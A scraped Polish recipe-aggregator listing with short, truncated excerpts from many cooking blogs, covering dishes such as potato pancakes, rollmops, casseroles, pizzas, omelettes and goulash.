ziemniaczane. Delikatne w smaku, dlatego super smakowały  podane z  dipem czosnkowym i paprykowym . Osoby, które nie wyobrażają  sobie tak lekkiego i bezmięsnego posiłku mogą pokombinować z sosem mięsnym np. bolognese, czy zwykłym klasycznym gulaszem.  Myślę, że taka wersja też będzie pyszna! Ale ja zapraszam dziś na taką najprostszą - bezmięsną i bardzo smaczną wersję placuszków cukiniowo-marchewkowych

Walijskie Pichcenie
Rolmopsy z wędzoną śliwką i granatem 182

śledziowe przełożyć na deskę lub talerz, na każdym po środku położyć śliwkę i kilka piórek cebuli. Zwinąć i przekłuć wykałaczką. Śledzie przełożyć na półmisek, zalać pozostałym po marynowaniu cebuli sosem. Na wierzchu rozrzucić pestki granatu i rodzynki. Przykryć folia spożywczą i wstawić do lodówki na minimum 1 godzinę. Smacznego

Gosia gotuje
Zapiekanka z kurczakiem 175

bardzo pożywne i rozgrzewają w chłodne dni. Ostatnio szczególnie zasmakowała mi zapiekanka z mozarellą oraz zapiekanka z bakłażanami i jajkiem . Dzisiejszy przepis łączy w sobie smak pieczonego kurczaka, sosu pomidorowego, ziemniaków oraz innych warzyw, które razem tworzą super danie. Jest to idealnie danie na sobotni obiad, gdy zmarznięci wracamy po spacerze do domu. Najlepiej zapiekankę jeść kiedy jest świeża

Życie ze smakiem
Ziemniaki boulangère (pieczone w bulionie) 707

kilka kawałków masła. Rozgrzej piekarnik do 180 stopni piecz potrawę przez 40-60 minut. Podałam z grillowanymi dodatkowo parówkami cielęcymi dla dzieci , a dorośli uraczyli się pieczonym schabem w sosie grzybowym, którego przepis niebawem się pojawi. Smacznego

Z Kuchni Do Kuchni
Tradycyjne placki ziemniaczane: sprawdzony przepis 174

Placki ziemniaczane to tradycyjne danie, które smakuje chyba każdemu. Mogą być podawane na słodko i na ostro - z cukrem, śmietaną, gulaszem, szpinakiem sosem tzatziki lub kawiorem. Składniki na placki ziemniaczane 1 kg ziemniaków 2 cebule 2 ząbki czosnku 2 jajka 2-3 łyżki mąki pszennej olej lub smalec do smażenia Obrać ziemniaki i cebulę. Na tarce o małych otworach zetrzeć

Korniszonki
Zimowy obiad wegański IX, Momo (Kraków) 240

marchewka z groszkiem i zasmażane buraczki z prażonym sezamem. W Momo smacznie i orientalnie (ale mniejsze porcje i drożej w porównaniu z Glonojadem ). Na zdjęciu: masala dosa z orzechowym sosem i pierożki tybetańskie z soczewicą (pierwsze danie zdecydowanie warte polecenia). Na jedzenie czekamy maks. 15-20 minut. Bar znajduje się na ul. Dietla w Krakowie.  w toalecie Momo Winter

Qlinarnie i Qlinarnie
Pieczeń z kukurydzą i kabanoskami - idealna przystawka na ciepł 171

Chipsy boczkowe, chipsy mięsne w dwóch smakach, jerky classic oraz mini kabanoski i mini paróweczki z sosem – to oferta mięsnych przekąsek od Henryka Kani, która wchodzi na sklepowe półki. Spółka szybko chce nią zdobywać rynkowe udziały. A narzędzie ma ku temu idealne, bo większości produktów z oferty przekąskowej Kani, nie ma w swoim portfolio żaden inny producent w Polsce oraz

VioletoweKucharzenie
Makaron z białą kiełbasą 200

kilka minut aż się zarumienią. Dorzucamy przeciśnięty przez praskę czosnek i jeszcze chwilę smażymy. Całość zalewamy śmietaną, doprawiamy solą i pieprzem. Podgrzewamy, aż mniej więcej połowa śmietany odparuje i sos lekko zgęstnieje. Wtedy dorzucamy gorący, odcedzony makaron i posiekaną natkę. Patelnię ściągamy z ognia i dodajemy rozmieszane żółtka. Dokładnie mieszamy. Podajemy od razu posypując dużą ilością sera. Smacznego Artykuł Makaron

PatiGotuje
Kotleciki z suszonych grzybów 200

tartej. Na patelni rozgrzać olej i układać kotleciki. Smażyć po około 5 minut z każdej strony. Smakują wybornie zarówno na ciepło jak i po ostygnięciu. Świetnie do nich pasuje sos koperkowy...Smacznego

Gosia gotuje
Sałatka z pieczoną kaczką, łatwo - prosto - pysznie 140

zapiekać w piekarniku przez 35-40 minut. Wyjąć mięso, otworzyć folię żeby mięso odparowało i wystygło. 2. Połączyć składniki dressingu, doprawić do smaku. Półmisek wyłożyć sałatą, polać sosem, a na wierzchu ułożyć pokrojoną w plastry kaczkę. Drapieżnik przy stylizacji polujący na kaczkę

Apetyczna babeczka
Przepis #115 Kukurydziana pizza z patelni 169

polać olejem w zależności od rodzaju patelni). Smażmy z obu stron. Następnie układamy dodatki. Przykrywamy pokrywką i zostawiamy tak na chwilę już na wyłączonym palniku. Pizzę można podawać z sosem czosnkowym na bazie jogurtu lub odrobina ketchupu. Smacznego

Health-Fit-Life
Słodko-ostre żeberka 273

Składniki: 1 kg żeberek marynata: 1 cebula 3 ząbki czosnku 1/2 papryczki chili 1 liść laurowy 5 ziaren jałowca 5 łyżek sosu słodkie chili 3 łyżki pasty warzywnej pindżur Podravka … Czytaj dalej Słodko-ostre żeberka

czarrna od kuchni
Pizza z szynką parmeńską i kaparami 335

Poznaj mój sprawdzony przepis na najlepsze włoskie ciasto do pizzy , najpyszniejszy sos pomidorowy oraz cały proces szykowania i pieczenia cudownej pizzy na cienkim cieście. Tym razem będzie to pizza parmeńska! Jeśli zaś chcesz zrobić przyjęcie i podać najszybsze mini pizze, to polecam mój przepis na mini pizze z ciasta francuskiego

AniaGotuje.pl
Pieczone ziemniaki 155

Bardzo lubimy je, jako dodatek do obiadu. Świetnie też sprawdzają się jako przekąska z sosem czosnkowym.  Składniki 500-600 g ziemniaków 700 ml zimnej wody 2 łyżki cukru 50 ml oleju rzepakowego 1 łyżka czerwonej mielonej papryki 1/2 łyżeczki ostrej papryki 1 łyżka cząbru 1 łyżeczka mielonego kminku sól, pieprz Przygotowanie Ziemniaki obieramy, myjemy i kroimy w „łodeczki”. Wodę

R'n'G Kitchen
Szybka sałatka z kapusty pekińskiej z kukurydzą 260

umyłam i pokroiłam w drobną kosteczkę, dodałam do kapusty. W kubku wymieszałam majonez oraz jogurt i czosnek, wymieszałam dokładnie i doprawiłam do smaku pieprzem i odrobiną soli. Kapustę polałam sosem, dokładnie wymieszałam i odstawiłam na około 15 minut do przegryzienia.   Proste ! szybkie i możesz ją też zabrać do pracy ! Majonez w wersji fit zastąp jogurtem naturalnym.   Szybka sałatka

Kuchnia na wzgórzu
Światowy Dzień Pizzy i rozwiązanie konkursu 232

roku ustanowiono rekord na najdłuższą polską pizzę. Miała ona ponad kilometr długości, a do jej przygotowanie zużyto 3,5 tony mąki i 1500 litrów sosu pomidorowego. W Polsce 3-osobowa rodzina pochłania jedną pizzę na 3 miesiące. W kandzie sprzedawana jest najdroższa pizza świata. Kosztuje $450 , a na jej wierzchu znajdziemy Rosyjski kawior

KuchniaWeDwoje.pl
Gołąbki z kapusty włoskiej z kaszą jaglaną 161

kapusty i zwijamy. Układamy w naczyniu do zapiekania. Do garnka wlewamy bulion, wodę z moczenia grzybów, pomidory z puszki,  koncentrat pomidorowy i almette. Doprawiamy solą i pieprzem. Przygotowanym sosem podlewamy gołąbki. Zapiekamy w piekarniku w temperaturze 180 – 190 o C przez około półtorej godziny. SMACZNEGO . (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Churros 224

Churros to tradycyjny hiszpański wypiek z ciasta parzonego, smażony na głębokim oleju. Najczęściej podaje się go w towarzystwie gęstego sosu czekoladowego. Ciasto jest chrupiące z zewnątrz i miękkie w środku. Posypuje się je cukrem pudrem, drobnym cukrem lub cukrem pudrem z cynamonem. Składniki: 250 ml mleka 50 g masła 1 łyżka cukru wanilinowego 2 łyżki cukru szczypta soli

AleTorcik
Śledzie w śmietanie według przepisu mojej Mamy 196

Następnie odsączyć i pokroić w paski. Jabłko umyć i obrać ze skórki oraz wykroić gniazdo nasienne. Jabłko, ogórki i cebulę pokroić w kostkę. Śmietanę wymieszać z cytryną i pieprzem. Sosem zalać śledzie, jabłko, ogórki i cebulę. Wszystko dokładnie wymieszać. Najlepiej odstawić na kilka godzin do lodówki. Przechowywać w lodówce. Smacznego!!!   Polecam również inne przepisy: http://www.przepisybabci.com.pl/2014/06/09/sledzie-po-japonsku-ryba/ http://www.przepisybabci.com.pl

Przepisy Babci
Makaron z wędzonym kurczakiem, brokułem i papryczką peperoni w sosie z serków topionych 172

minut. Ja podałam go na ostro, ale jeśli nie przepadacie za takimi smakami - możecie zrezygnować z papryczki peperoni lub dodać jej minimalną ilość.  Zapewniam, że całość otulona serowym sosem smakuje wyśmienicie. Polecam! (2 porcje)  około 100g makaronu (u mnie świderki) 1 wędzone udko z kurczaka 1/2 brokuła 200g serka topionego (u mnie paprykowy MSM Mońki ) 100 ml mleka

Di gotuje
Rurki ze szpinakiem 164

smażyć całość na wolnym ogniu. Na końcu dodać pokrojony w małą kostkę camembert i ser feta. Wszystko dokładnie wymieszać i doprawić pieprzem. 3.  Na ugotowany makaron wyłożyć przygotowany sos szpinakowy

Szalona Kuchnia Eweliny
Domowy ketchup – szybko, smacznie, zdrowo 181

Wiele osób uważa, że aby przygotować domowy ketchup potrzeba strasznie dużo czasu i trzeba włożyć w to ogrom pracy. Wcale tak nie jest :) Nie musimy mieć

Kulinarnyblog.pl - wiesz jak gotować!
Roladki z bakłażana i mięsa mielonego w sosie pomidorowym. Pomysł na pyszny obiad. Wskazówki co zrobić by bakłażan nie pochłania 265

żaroodpornego. Patelnię posmaruj lekko olejem i podpiecz bakłażana z każdej strony. Następnie uformuj kulki z mięsa mielonego i zawijaj je w bakłażana. Ułóż w naczyniu żaroodpornym w którym jest sos pomidorowy. Zapiecz – co najmniej godzina w 180ºC

wysmienity
Dip jogurtowo-migdałowy 177

Dip jogurtowo-migdałowy to propozycja zastąpienia tradycyjnego dipu czosnkowego aromatycznym smakiem migdałów. Dip jogurtowo-migdałowy będzie pasował do dań podawanych na ciepło jak i na zimno

Magiczny Garnek
Zapiekanka makaronowa z mięsem mielonym . Przepis krok po kroku. 219

szkodzi, kolejnego dnia smakuje jeszcze lepiej i można zabrać ją do pracy. Jeżeli chodzi o zielony dodatek to polecałbym prostą sałatkę z sosem vinegret. Nie będzie dominować nad daniem głównym tylko wspaniale podkreślać jego smak. Kieliszek czerwonego wytrawnego wina, również jest wskazany   Jeżeli jeszcze nie próbowałeś takiej wersji zapiekanki makaronowej

kuron.com.pl
Ciasto jabłkowe z blendera – bez cukru, tłuszczu i mąki 276

nutri-bullet czy blender- łapka (immersyjny). Zastanawialiście się kiedyś czemu ma taki, a nie inny kształt? Został zaprojektowany z myślą o zupach kremach (z ugotowanych, miękkich komponentów) i emulsyfikacji sosów. Zwykłe miksery tylko mieszały, nie cięły, a wkładanie wąskiego i wysokiego narzędzia do garnka lub kubka ułatwiało manewrowanie nim, mieszanie, cięcie lub ubijanie zawartości.   W przypadku tego chlebka trzeba

Karo in the Kitchen
Pieczony filet z kurczaka na szybko 136

Przygotowanie Filety z kurczaka myjemy, osuszamy papierowym ręcznikiem. Filety mają mieć grubość około 2 cm . Ketchup, majonez i musztardę łączymy, dokładnie mieszamy, lekko doprawiamy solą i pieprzem. Filety pokrywamy sosem, przekładamy do naczynia żaroodpornego, zapiekamy 25-30 min w temperaturze

R'n'G Kitchen
Omlet ze szpinakiem, tuńczykiem i awokado 174

tuńczykiem, serem feta i awokado, który zawierający mnóstwo witamin i dostarczy nam energii na cały dzień.  Składniki: 3 jajka 2 łyżki mleka 60g świeżego szpinaku 60g tuńczyka w sosie własnym 60g sera feta 1/2 awokado 1 ząbek czosnku 2 łyżki masła sól pieprz Wykonanie: 1.  Szpinak, umyć, osuszyć, a czosnek obrać i drobno posiekać. Następnie na rozgrzanej

Szalona Kuchnia Eweliny
Mini pączki z ricottą i skórką cytrynową - Baci di ricotta 208

dość wilgotne w środku i mają apetycznie zrumienioną skórkę. Same w sobie nie są zbyt słodkie, dlatego przed podaniem obficie posypcie je cukrem pudrem. ➤ Zobacz także: Hiszpańskie churros z sosem czekoladowym .  Mini pączki z ricottą i skórką cytrynową - Baci di ricotta Składniki / na 28 sztuk: 3 jajka skórka otarta z 1 eko cytryny (a nawet dałabym więcej, jeśli lubisz

Chilli Czosnek i Oliwa
MAKARON SPAGHETTI Z KURCZAKIEM I PESTO Z POMIDORÓW 226

oleju z dodatkiem soli, pieprzu i ziół prowansalskich. Kiedy kurczak lekko się przyrumieni dodaję pesto i wodę z makaronu, mieszam. Gotuję na małym ogniu około 5 minut. Przygotowany sos łączę z makaronem

JejKuchnia
CZEKOLADOWO-KORZENNY PUDDING Z TAPIOKI Z WIŚNIAMI 169

dzięki temu, że jest bezzapachowa i ma neutralny smak, może być używana zarówno do potraw słodkich, jak i wytrawnych. Znalazła ona zastosowanie   jako zagęstnik do zup i sosów, a także jako składnik deserów, budyniów, puddingów, naleśników. Dziś u mnie tapioka na słodko w formie deseru w pucharkach, o smaku czekoladowo-korzennym z wiśniami oraz jogurtem naturalnym. Pudding z tapioki

Kuchnia MagdaLeny
Krokiety z mięsem z rosołu 243

smażenia NADZIENIE: rosołowe mięso ( ja miałam kawałek kurczaka, kawałek wołowego i szyję z indyka) 2 cebule 1 łyżka oleju 100 g ricotty pół pęczka natki pietruszki 1 łyżka sosu sojowego sol, pierz do smaku Instructions Rozpuścić masło w małym garnku. Wszystkie składniki ciasta zmiksować żeby powstało gładkie ciasto, odstawić na minimum 30 minut. Usmażyć na oleju cienkie naleśniki. Posiekać cebulę

Cooking for Emily
Wegańska kalafiornica (dieta dr Dąbrowskiej) 203

wegański wywar warzywny zupę z kiszonych ogórków sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl

Kulinarne przygody Gatity
Nuggetsy z udek kurczak przepis na udany obiad 250

obiady dzieciom szczerze, już powoli przestaję mieć inwencję co zrobić. Tak też było z tymi udkami kupiłam i jakoś tak samo przyszedł pomysł żeby je upiec, ale jak w sosie ? A to może jogurtowy .. hmm i tu wymyśliłam, że do tego będą jeszcze panierowane i tak powstał ten obiad. Udka z kurczaka do tego przepisu nadają się bardziej niż piersi

Kuchnia na wzgórzu
Fasolka po bretońsku 177

klasyczna kuchnia polska. Któż z nas nie zna smaku tego jednogarnkowego tradycyjnego dania... W jego skład wchodzi biała fasola tzw. Piękny Jaś, którą dusi się w gęstym pomidorowym sosie z dodatkiem podsmażonego boczku i kiełbasy. Do tego obowiązkowo kromka dobrego pieczywa lub kajzerka i mamy sycący zimowy obiad. Składniki na około 3 litry: 500 g białej fasoli 400 g kiełbasy

wyzwania kuchenne
Pikantne krewetki na puree z kalafiora 210

jednym miejscu wszystkie moje najlepsze przepisy na kolację – ośmiornica przepis – małże w białym winie – spaghetti z krewetkami – kalmary ze szpinakiem – krewetki w sosie pomidorowym z wódką – zupa rybna z owocami morza – ZUPA BOUILLABAISSE – krewetki w białym winie – kalmary w czosnku pikantne krewetki na puree z kalafiora Przygotowanie : 30 minut Ilość porcji

nietylkopasta.pl
Szynka wieprzowa duszona w piwie 170

Zagotować, zamieszać i drugi raz zagotować. Mięso wyjąć z serwetki, przełożyć do garnka z grubym dnem. Dodać przyprawy, wlać piwo i dusić do przykryciem do miękkości. Podawać polane wytworzonym sosem. Podałam z ziemniakami i szpinakiem . zastawa

królestwo garów
Kurczak w pomarańczach z imbirem 283

filet z kurczaka 1 łyżka suszonych grzybów mun 1/2 pora 3-4 cm imbiru 2 pomarańcze przyprawa orientalna 2-3 ząbki czosnku 1 łyżka octu ryżowego 3 łyżki sosu sojowego … Czytaj dalej Kurczak w pomarańczach z imbirem

czarrna od kuchni
Ziemniaczki zapiekane z boczkiem, suszonym pomidorem i rukolą 177

rukolą. W taki sposób można zrobić ziemniaki, których ugotowaliśmy za dużo lub po prostu podgotować i podsmażyć z dodatkami :-) Takie danie możemy zjeść na lekki obiad z dodatkiem sosu na przykład :-) Miłego poniedziałku Wam życzę :-) Składniki: 6 ugotowanych ziemniaków 1 opakowanie boczku w plasterkach kilka sztuk suszonych pomidorów rukola sól pieprz słodka papryka 1. Ziemniaki kroimy w cienkie plasterki, wrzucamy

kruche babeczki
Rolada truflowa z rodzynkami 225

kremówkę umieścić w małym garnuszku i mocno podgrzać, prawie do wrzenia. Zdjąć z ognia, dodać czekoladę i odstawić na chwilę, następnie wymieszać do całkowitego rozpuszczenia czekolady i otrzymania gładkiego sosu. Polewę odłożyć do lekkiego przestudzenia.  Gęstniejącą polewę wylać na schłodzoną roladę. Można tak jak ja  - umieścić polewę w rękawie cukierniczym i wylać ją na roladę w postaci zygzaków

Opowieści z piekarnika
Łosoś w bułce tartej 181

łyżką oliwy, sokiem z limonki i startym parmezanem. Przykryć łososia przygotowaną mieszanką i piec w piekarniku przez 10-12 minut. Podawać z miksem sałatek wymieszanych z pomidorkami koktajlowymi i sosem greckim

Tradycyjna Kuchnia
Szybki makaron orechiette z groszkiem i chorizo 250

minut. Krok 3 Rozgrzej w rondlu oliwę. Posiekaj chorizo w półplasterki. Podsmaż w rondlu na złoto. Dodaj makaron, podlej wodą z gotowania, podkręć temperaturę i chwilę smaż, aż sos zgęstnieje. Dodaj groszek, pietruszkę, miętę i wymieszaj. Podawaj pastę posypaną parmezanem. Smacznego! Artykuł Szybki makaron orechiette z groszkiem i chorizo pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Omlet ze szpinakiem i serem taleggio 160

linczujcie. Wzięłam więc i się przejechałam. Nie nie, nie ten klimat zupełnie. Trzeba było więc wykorzystać go do jakiejś potrawy. Jedna nie wypaliła (ser nie rozpuszcza się w sosie :)), druga to omlet. Pyszny. I nie, to co na zdjęciu wypływa z omletu to nie jest surowe jajko, to właśnie ten ser.  A, no i to pierwszy omlet w moim

Kardamonovy
Pałki z kurczaka w cytrusowej marynacie 220

posiekanych szalotek 5 rozgniecionych ząbków czosnku kawałek imbiru garść posiekanej natki pietruszki, kolendry i tymianku sok z 2 limonek i z 2 cytryn oraz z 2 pomarańczy 4 łyżki sosu sojowego 2 łyżki oliwy 5 łyżek ciemnego rumu zioła:ziele angielskie, pieprz, gałka muszkatołowa Przygotowanie: Podudzia myjemy, osuszamy i wkładamy do marynaty zrobionej z powyżej podanych składników (łączymy wszystkie składniki

Bon appetit mon amie
Ajerkoniak 286

Ajerkoniak czyli domowy likier jajeczny. Przepyszny nie tylko z kieliszka ale również jako sos do lodowych deserów oczywiście dla pełnoletnich :) Składniki : 6 żółtek swojskich jaj szklanka cukru pudru 300 ml mleczka zagęszczonego niesłodzonego 200 ml spirytusu opakowanie cukru waniliowego Przygotowanie: Żółtka wbijamy do misy. Dodajemy cukier puder i cukier waniliowy i miksujemy do uzyskania gładkiej puszystej masy. Dodajemy mleczko

Mechanik w kuchni
Pieczony kurczak na obiad z brukselką i batatami 252

Pieczony kurczak na obiad…znowu… Uwielbiam kurczaka i przyznaję, że często go przyrządzam na obiad. Lubię kurczaka w sosie , pieczone udka , chrupiące skrzydełka , klopsiki …Nie, kurczak na obiad to hit, szybki i tani. Dlatego warto dodać do meny kolejny przepis na kurczaka w czosnkowo miodowej marynacie z brukselką i batatami. Po prostu niebo w gębie! Nie wiem

codojedzenia
Zakwasowe chlebki z patelni 150

wyrzucać zakwasu do śmieci powstały takie oto zakwasowe chlebki z patelni. Są chrupiące, o puszystym wnętrzu i idealnie nadają się na kanapki czy jako dodatek do zup czy sosów. Polecam serdecznie taki sposób wykorzystania zakwasu. Zakwasowe chlebki z patelni. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Chlorofilowa sałatka kuskus 310

Warzywa i kaszę przełożyć do miski. Z oliwy, musztardy, soku z cytryny (ilość według własnych upodobań), przeciśniętego czosnku, soli i pieprzu przygotować dressing. Składniki dokładnie wymieszać, aż powstanie gładki sos. Polać dresingiem naszą sałatkę, dodać pietruszkę (trochę zostawić do posypania po wierzchu) i dokładnie wszystko wymieszać. Pozostałą natką sypiemy sałatkę i gotowe. Smacznego

Dieta Rozdzielna i Zdrowie
Omlet z rukolą, tuńczykiem i suszonymi pomidorami 214

szybki aromatyczny omlet z rukolą, tuńczykiem, oliwkami i suszonymi pomidorami, który dostarczy nam energii na cały dzień. Składniki: 3 jajka 2 łyżki mleka 15g świeżej rukoli 60g tuńczyka w sosie własnym 5 suszonych pomidorów 10 drylowanych, czarnych oliwek 1 łyżka masła sól pieprz Wykonanie: 1.  Tuńczyka i suszone pomidory odsączyć z zalewy, pomidory pokroić  w paski, a oliwki

Szalona Kuchnia Eweliny
Kruchy torcik walentynkowy 241

zrumienienia. Wystudzić. Czekoladowa glazura 50 g czekolady mlecznej  1/4 szklaki śmietany kremówki Podgrzać śmietanę i do gorącej włożyć pokruszoną czekoladę. Odstawić na 10 minut następnie wymieszać na gładki sos Krem 400 g śmietany kremówki 250 g mascarpone 2 łyżki lub mniej skondensowanego słodzonego mleka z puszki 1 łyżeczka pasty waniliowej Wszystkie produkty powinny być schłodzone.  Śmietanę

Piekarz-Kucharz-Garkotłuk
Sałatka z awokado 260

jako pastę do smarowania pieczywa… i nie tylko. Samo awokado ma dość mdły i niewyrażny smak, dlatego warto je wzbogacić dodatkowymi składnikami i przyprawami. Jak dla mnie idealnie pasuje sos sojowy, sok z cytryny, kropla – dwie oleju sezamowego i… to wszystko. Ale ja jestem smakoszem awokado i nie przeszkadza mi jego naturalny smak. Wersja wzbogacona – Sałatka z awokado. Składniki

mojewypiekiinietylko
Musztardowy schabik 186

składnik, którym warto się pobawić. Samo w sobie nie ma jakiegoś mocno narzucającego się smaku, dlatego dobór dodatków, czy składników, którymi je doprawimy, jest niemal nieograniczony. Dzisiaj schab w sosie musztardowym. Prosto i pysznie! Czytaj więcej

Pichceniomania
Rosół z odzysku – szybki rosół na korpusie pieczonego kurczaka 605

pokrojone do zupy. Mięso pozostałości wyrzucamy. Zupę dosalamy i doprawiamy do smaku pieprzem. Podajemy gorącą.   Możecie ją bez problemu wykorzystać jako samodzielne danie albo bazę dla innych zup , sosów czy potraw. Nie wyrzucajcie resztek pieczonego kurczaka – zobaczcie, jak z zaledwie kilkoma dodatkami, zyskują nowe życie! SKŁADNIKI na 4 porcje 1100ml wody 400g korpusu pieczonego kurczaka, ze skórą i mięsem

Karo in the Kitchen
Kopytka jaglane z czarnuszką – przepis krok po kroku 252

powierzchnię. 7. Ugotowane kopytka przekładamy łyżką cedzakową na talerz. I to wszystko. Nasze kopytka są już gotowe. Mnie najbardziej smakują polane rozpuszczonym masłem. Można je również podawać z sosem lub dipem szpinakowym, albo na słodko – polane śmietaną i posypane cukrem;) Smacznego!   A jeśli szukacie innego przepisu z kaszy jaglanej, polecam zapiekankę: Zapiekanka z kaszy jaglanej z warzywami – przepis

Okiem Blondynki by McBlondi
Gnocchi zapiekane w sosie pomidorowym… 294

swojej mapie zaznaczając miejsca, które odwiedzimy, dopytuje o to, co tam zobaczymy i zaciera ręce na myśl o tych wszystkich bagietkach oraz pizzy,… Czytaj dalej Gnocchi zapiekane w sosie pomidorowym

brunetkawkuchni
żeberka z czarnym ryżem 177

miękkości(około 30-40 minut w szczelnie przykrytym rondlu) .:)) ps...pod koniec gotowania dodaje 2 kromki razowego chleba ,lub jedną bułkę małą razową i w ten sposób zagęszczam powstały sos ,nie używam mąki

w mojej kuchni
Krokiety z mięsem i orzechami 217

smaku solą, pieprzem i papryką chilli. Na naleśniki wyłożyć cienką warstwę farszu mięsno-orzechowego. Boki naleśników zawinąć do środka i zrolować. Smażyć na złoto z dwóch stron. Serwować z sosem pomidorowo-paprykowym lub czosnkowym. Krokiety serwuję bez panierki z jajka i bułki tartej. Taka wersja jest mniej kaloryczna i zdrowsza

Pyry na Gaz
Gulasz z indyczych wątróbek 167

praskę i przyprawy. Następnie dodajemy wątróbkę, lekko podsmażamy razem z pokrojoną w kostkę szynką, zalewamy gorącym rosołem. Dusimy przez chwilę dodajemy posiekaną natkę. Śmietanę rozrabiamy z mąką, hartujemy z sosem. Całość wlewamy do gulaszu, dokładnie łączymy. Do smaku doprawiamy solą i pieprzem

R'n'G Kitchen
spaghetti serowe z brokułem i orzechami nerkowca! 201

wymieszaj: mleko, śmietanę, jajka, sery i przyprawy.  Na oliwie z oliwek podsmaż czosnek, dodaj brokuła, ugotowany makaron, wlej masę i mieszaj aż składniki połączą się w gęsty kremowy sos. Całość posyp orzeszkami nerkowca (możesz je wcześniej uprażyć na suchej patelni) i płatkami parmezanu. Gotowe! Proste i przepyszne danie, jestem pewna, że będziesz do niego wracała bardzo często! ;-))) Więcej pomysłów

SMYKWKUCHNI
Zupa z kiszonych ogórków (dieta dr. Dąbrowskiej) 192

Dąbrowskiej: leczo wegańskie wegański wywar warzywny sałatkę z kapusty pekińskiej z kiszonym ogórkiem sałatkę z cykorii z kiszonym burakiem surówkę z kiszonej kapusty z granatem kalafior w pikantnym sosie pomidorowym frytki z dyni piżmowej wegański bigos wegańskie burgery z kalafiora zakwas z buraków sok z kiszonych buraków z marchewką i jabłkiem sok z kiszonych buraków   zielony koktajl z kiwi

Kulinarne przygody Gatity
Eklerki z pastą jajeczno - tuńczykową 175

jako przystawka oraz imprezowa przekąska. Składniki: Ciasto: 130ml wody 1/2 szklanki mąki pszennej 70g masła extra szczypta soli 2 jajka Farsz: 5 jajek 2 puszki tuńczyka w kawałkach w sosie własnym 1 pęczek szczypiorku 4 łyżki majonezu 50g żółtego sera świeżo zmielony kolorowy pieprz sól morska 1 łyżka soku z cytryny Wykonanie: 1.  Ciasto Masło rozpuścić w gotującej wodzie

Szalona Kuchnia Eweliny
Polędwiczki w sosie grzybowym 318

polędwiczka wieprzowa 25 dkg grzybów leśnych, u mnie mrożone odgotowane borowiki, ale mogą być kurki lub inne 1 cebula 3/4 szklanki śmietany (u mnie … Czytaj dalej Polędwiczki w sosie grzybowym

czarrna od kuchni
Tuńczyk smażony, wędzony w sianie 175

patelni położyć papier do pieczenia, wlać 2 – 3 łyżki oliwy. Ułożyć steka, smażyć dwie minuty, odwrócić na drugą stronę, smażyć 2 minuty. Odwrócić jeszcze raz rybę, włożyć masło. Powstałym sosem polać rybę z wierzchu. Przełożyć tuńczyka na talerz. Oprószyć płatkami soli morskiej i skropić sokiem z cytryny. zastawa

królestwo garów
Ziemniaczana zapiekanka z aromatycznym łososiem 186

podsmażone warzywa a na wierzchu ułożyć zamarynowanego łososia. 6.  Wstawić do piekarnika nagrzanego do 170 stopni  na około 25-30 minut. 7.  Upieczoną zapiekankę polewać z sosem czosnkowym

Szalona Kuchnia Eweliny
Kolorowa sałatka z tuńczykiem 198

przygotowaniu sałatka na bazie tuńczyka, kaszy perłowej oraz kolorowych, bogatych w witaminy warzyw. Idealnie skomponowane składniki sprawiają, że sałatka smakuje rewelacyjnie. Składniki: 185g  tuńczyka w kawałkach w sosie własnym 1 czerwona papryka 1 puszka kukurydzy 100g kaszy perłowej 2 ogórki kiszone 1 cebula czerwona 2 ząbki czosnku 5 jaj 4 łyżki posiekanego szczypiorku 4 łyżki majonezu sól pieprz Wykonanie

Szalona Kuchnia Eweliny
Ale Meksyk – pyszna zupa meksykańska 273

ogrzeje nas w zimne wieczorne popołudnia. Wykonanie wcale nie jest trudne, zresztą zobaczcie sami :) Zupa meksykańska – składniki puszkę kukurydzy puszkę białej fasoli puszkę czerwonej fasoli (może być w sosie chilli) 3 duże cebule 500g mięsa mielonego 1/2 żółtej papryki 1/2 czerwonej papryki 1 papryczkę chilli 4-5 łyżeczek koncentratu pomidorowego 2 kostki rosołowe pieprz sól majeranek   Zupa meksykańska

Kulinarnyblog.pl - wiesz jak gotować!
Grzybowy gulasz z pręgi wołowej 296

wymieszać, najlepiej trzepaczką kuchenną, aby nie było grudek. Pod koniec gotowania, gdy mięso będzie już miękkie, dodać rozrobioną w zimnej wodzie mąkę. Gotować na małym ogniu, stale mieszając, aż sos zgęstnieje (przez około 5 minut). Gulasz przyprawić solą i pieprzem do smaku. Gulasz podawać gorący z ziemniakami/kaszą/plackami ziemniaczanymi/makaronem i ulubioną surówką.  SMACZNEGO! Uwagi do przepisu: Z podanych

Gospodyni Miejska
Farfalle w kolorowym sosie 202

chwili dodaj paprykę, cukinię, marchewkę. Przykryj i duś. Dodaj pomidory, szpinak, zamieszaj i duś , aż marchewka zmięknie. Dopraw w razie czego. Odcedź makaron i dodaj do niego cały sos z patelni. Zamieszaj.  Zetrzyj parmezan. Możesz już wlać trochę oleju lnianego. Rozłóż na talerze i jeszcze trochę parmezanu. Gotowe. Proste. Resztkowe.  Pyszne!Jeśli zrobiłaś za dużo, to na drugi

Z Kuchni Do Kuchni
Pieróg biłgorajski 291

bazie ziemniaków, kaszy gryczanej, twarogu, jajek i śmietany, wyglądem przypominające pasztet. Pieróg biłgorajski można jeść zarówno na ciepło jak i na zimno, np. z kwaśnym mlekiem, maślanką czy sosem grzybowym, albo do obiadu jako zamiennik ziemniaków. Bardzo dobrze smakuje również odgrzany na maśle. [embed]https://youtu.be/P6Sj0t2HmMY[/embed] Składniki: 600 g ziemniaków 150 g kaszy gryczanej 250 g tłustego twarogu

e-PrzepisyKulinarne
Drobiowy kebab - przepis krok po kroku 188

występuje w kilkunastu różnych odmianach. W wersji klasycznej serwuje się je z surówką i owczym serem, fast foodowej – bułce typu pita, macy lub tortilli z dodatkiem wybranych warzyw oraz sosów. Jak przygotować to danie w domowym zaciszu? Odpowiedź, czyli przepis na kebab, znajdziesz poniżej. Drobiowy kebab – przepis

Krokusowy Dom
CIABATTY FASZEROWANE 165

